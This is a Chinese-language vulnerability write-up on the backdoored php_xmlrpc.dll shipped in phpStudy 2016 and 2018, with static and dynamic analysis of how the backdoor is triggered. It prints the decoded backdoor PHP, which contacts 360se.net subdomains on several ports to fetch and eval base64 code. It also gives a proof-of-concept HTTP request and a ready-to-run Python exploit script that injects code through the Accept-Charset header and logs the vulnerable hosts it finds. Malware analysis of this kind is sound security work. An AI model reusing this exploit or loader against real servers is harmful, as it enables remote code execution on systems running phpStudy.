Phpstudy 后门（非官方后门！！！）¶
一、漏洞简介¶
二、漏洞影响¶
Phpstudy 2016
php\php-5.2.17\ext\php_xmlrpc.dll
php\php-5.4.45\ext\php_xmlrpc.dll
Phpstudy 2018 的php-5.2.17、php-5.4.45
PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dll
PHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dll
三、复现过程¶
分析过程¶
- 1、定位特征字符串位置
- 2、静态分析传参数据
- 3、动态调试构造传参内容
php_xmlrpc.dll¶
PHPstudy 2018与2016两个版本的里的PHP5.2与PHP5.4版本里的恶意php_xmlrpc.dll一致。
定位特征字符串位置¶
根据\@eval()这个代码执行函数定位到引用位置。\@是PHP提供的错误信息屏蔽专用符号。Eval()可执行php代码，中间%s格式符为字符串传参。函数地址为：0x100031F0
图1：eval特征代码
静态分析传参数据¶
通过F5查看代码，分析代码流程，判断条件是有全局变量且有HTTP_ACCEPT_ENCODING的时候进入内部语句。接下来有两个主要判断来做正向连接和反向连接的操作。主要有两个部分。
第一部分，正向连接：判断ACCEPT_ENCODING如果等于gzip,deflate，读取ACCEPT_CHARSE的内容做base64解密，交给zend_eval_strings()函数可以执行任意恶意代码。
构造HTTP头，把Accept-Encoding改成Accept-Encoding: gzip,deflate可以触发第一个部分。
GET /index.php HTTP/1.1
Host: www.0-sec.org
…..
Accept-Encoding: gzip,deflate
Accept-Charset:cHJpbnRmKG1kNSgzMzMpKTs=
….
第二部分，反向连接：判断ACCEPT_ENCODING如果等于compress,gzip，通过关键部分\@eval(gzuncompress(\'%s\'));可以看到拼接了一段恶意代码，然后调用gzuncompress方法执行解密。
构造HTTP头，把Accept-Encoding改成Accept-Encoding: compress,gzip可以触发第二部分。
GET /index.php HTTP/1.1
Host: www.0-sec.org
…..
Accept-Encoding:compress,gzip
….
图2：第1部分流程判断代码
图3：第2部分流程判断代码
这一部分有两处会执行zend_eval_strings函数代码的位置。分别是从1000D66C到1000E5C4的代码解密：
@ini_set("display_errors","0");
error_reporting(0);
function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){
$result = "";
$handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10);
if( !$handle ){
$handle = fsockopen($ip, intval($port), $errno, $errstr, 5);
if( !$handle ){
return "err";
}
}
fwrite($handle, $sendMsg."\n");
while(!feof($handle)){
stream_set_timeout($handle, 2);
$result .= fread($handle, 1024);
$info = stream_get_meta_data($handle);
if ($info['timed_out']) {
break;
}
}
fclose($handle);
return $result;
}
$ds = array("www","bbs","cms","down","up","file","ftp");
$ps = array("20123","40125","8080","80","53");
$n = false;
do {
$n = false;
foreach ($ds as $d){
$b = false;
foreach ($ps as $p){
$result = tcpGet($i,$d.".360se.net",$p);
if ($result != "err"){
$b =true;
break;
}
}
if ($b)break;
}
$info = explode("<^>",$result);
if (count($info)==4){
if (strpos($info[3],"/*Onemore*/") !== false){
$info[3] = str_replace("/*Onemore*/","",$info[3]);
$n=true;
}
@eval(base64_decode($info[3]));
}
}while($n);
从1000D028 到1000D66C的代码解密：
@ini_set("display_errors","0");
error_reporting(0);
$h = $_SERVER['HTTP_HOST'];
$p = $_SERVER['SERVER_PORT'];
$fp = fsockopen($h, $p, $errno, $errstr, 5);
if (!$fp) {
} else {
$out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1\r\n";
$out .= "Host: {$h}\r\n";
$out .= "Accept-Encoding: compress,gzip\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
fclose($fp);
}
动态调试构造传参内容¶
OD动态调试传参值需要对httpd.exe进程进行附加调试，phpstudy启用的httpd进程有两个。一个是带有参数的，一个是没有带参数的。在下断的时候选择没有参数的httpd.exe下断才能触发后门。
根据前面IDA静态分析得到的后门函数地址，OD附加进程后从httpd.exe调用的模块里找到php_xmlrpc.dll模块，在DLL空间里定位后门函数地址0x100031F0，可能还需要手动修改偏移后下断点。使用burpsuite，构造Accept-Encoding的内容。发包后可以动态调试。建立触发点的虚拟机快照后可以反复跟踪调试得到最终可利用的payload。
图4：OD动态调试Payload
PHP脚本后门分析¶
脚本一功能：使用fsockopen模拟GET发包
@ini_set("display_errors","0");
error_reporting(0);
$h = $_SERVER['HTTP_HOST'];
$p = $_SERVER['SERVER_PORT'];
$fp = fsockopen($h, $p, $errno, $errstr, 5);
if (!$fp) {
} else {
$out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1\r\n";
$out .= "Host: {$h}\r\n";
$out .= "Accept-Encoding: compress,gzip\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
fclose($fp);
}
脚本二功能：内置有域名表和端口表，批量遍历然后发送数据。注释如下：
<?php
@ini_set("display_errors","0");
error_reporting(0);
function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){
$result = "";
$handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10); // 接收数据，每次过来一条数据就要连接一次
if( !$handle ){
$handle = fsockopen($ip, intval($port), $errno, $errstr, 5); //错误的时候就重连一次测试。
if( !$handle ){
return "err";
}
}
fwrite($handle, $sendMsg."\n"); // 模拟发送数据
while(!feof($handle)){
stream_set_timeout($handle, 2);
$result .= fread($handle, 1024); // 读取文件
$info = stream_get_meta_data($handle); // 超时则退出
if ($info['timed_out']) {
break;
}
}
fclose($handle);
return $result;
}
$ds = array("www","bbs","cms","down","up","file","ftp"); // 域名表
$ps = array("20123","40125","8080","80","53"); // 端口表
$n = false;
do {
$n = false;
foreach ($ds as $d){ //遍历域名表
$b = false;
foreach ($ps as $p){ // 遍历端口表
$result = tcpGet($i,$d.".360se.net",$p);
if ($result != "err"){
$b =true;
break;
}
}
if ($b)break;
}
$info = explode("<^>",$result);
if (count($info)==4){
if (strpos($info[3],"/*Onemore*/") !== false){
$info[3] = str_replace("/*Onemore*/","",$info[3]);
$n=true;
}
@eval(base64_decode($info[3]));
}
}while($n);
?>
POC¶
熟悉原理后可根据执行流程构造执行任意代码的Payload：
GET /index.php HTTP/1.1
Host: www.0-sec.org
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding:gzip,deflate
Accept-Charset:cHJpbnRmKG1kNSgzMzMpKTs=
Content-Length: 0
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Payload：printf(md5(333));
回显特征：310dcbbf4cce62f762a2aaa148d556bd
图5：Payload回显验证
exp¶
#!/usr/bin/env python3
#-*- encoding:utf-8 -*-
# 卿 博客:https://www.cnblogs.com/-qing-/
import base64
import requests
import threading
import queue
print("======Phpstudy Backdoor Exploit============\n")
print("===========By Qing=================\n")
print("=====Blog：https://www.cnblogs.com/-qing-/==\n")
payload = "echo \"qing\";"
payload = base64.b64encode(payload.encode('utf-8'))
payload = str(payload, 'utf-8')
headers = {
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
'Accept-Language': 'zh-CN,zh;q=0.9',
'accept-charset': payload,
'Accept-Encoding': 'gzip,deflate',
'Connection': 'close',
}
def write_shell(url,headers):
try:
r = requests.get(url=url+'/index.php', headers=headers, verify=False,timeout=30)
if "qing" in r.text:
print ('[ + ] BackDoor successful: '+url+'===============[ + ]\n')
with open('success.txt','a') as f:
f.write(url+'\n')
else:
print ('[ - ] BackDoor failed: '+url+'[ - ]\n')
except:
print ('[ - ] Timeout: '+url+' [ - ]\n')
url = "http://xxx"
write_shell(url=url,headers=headers)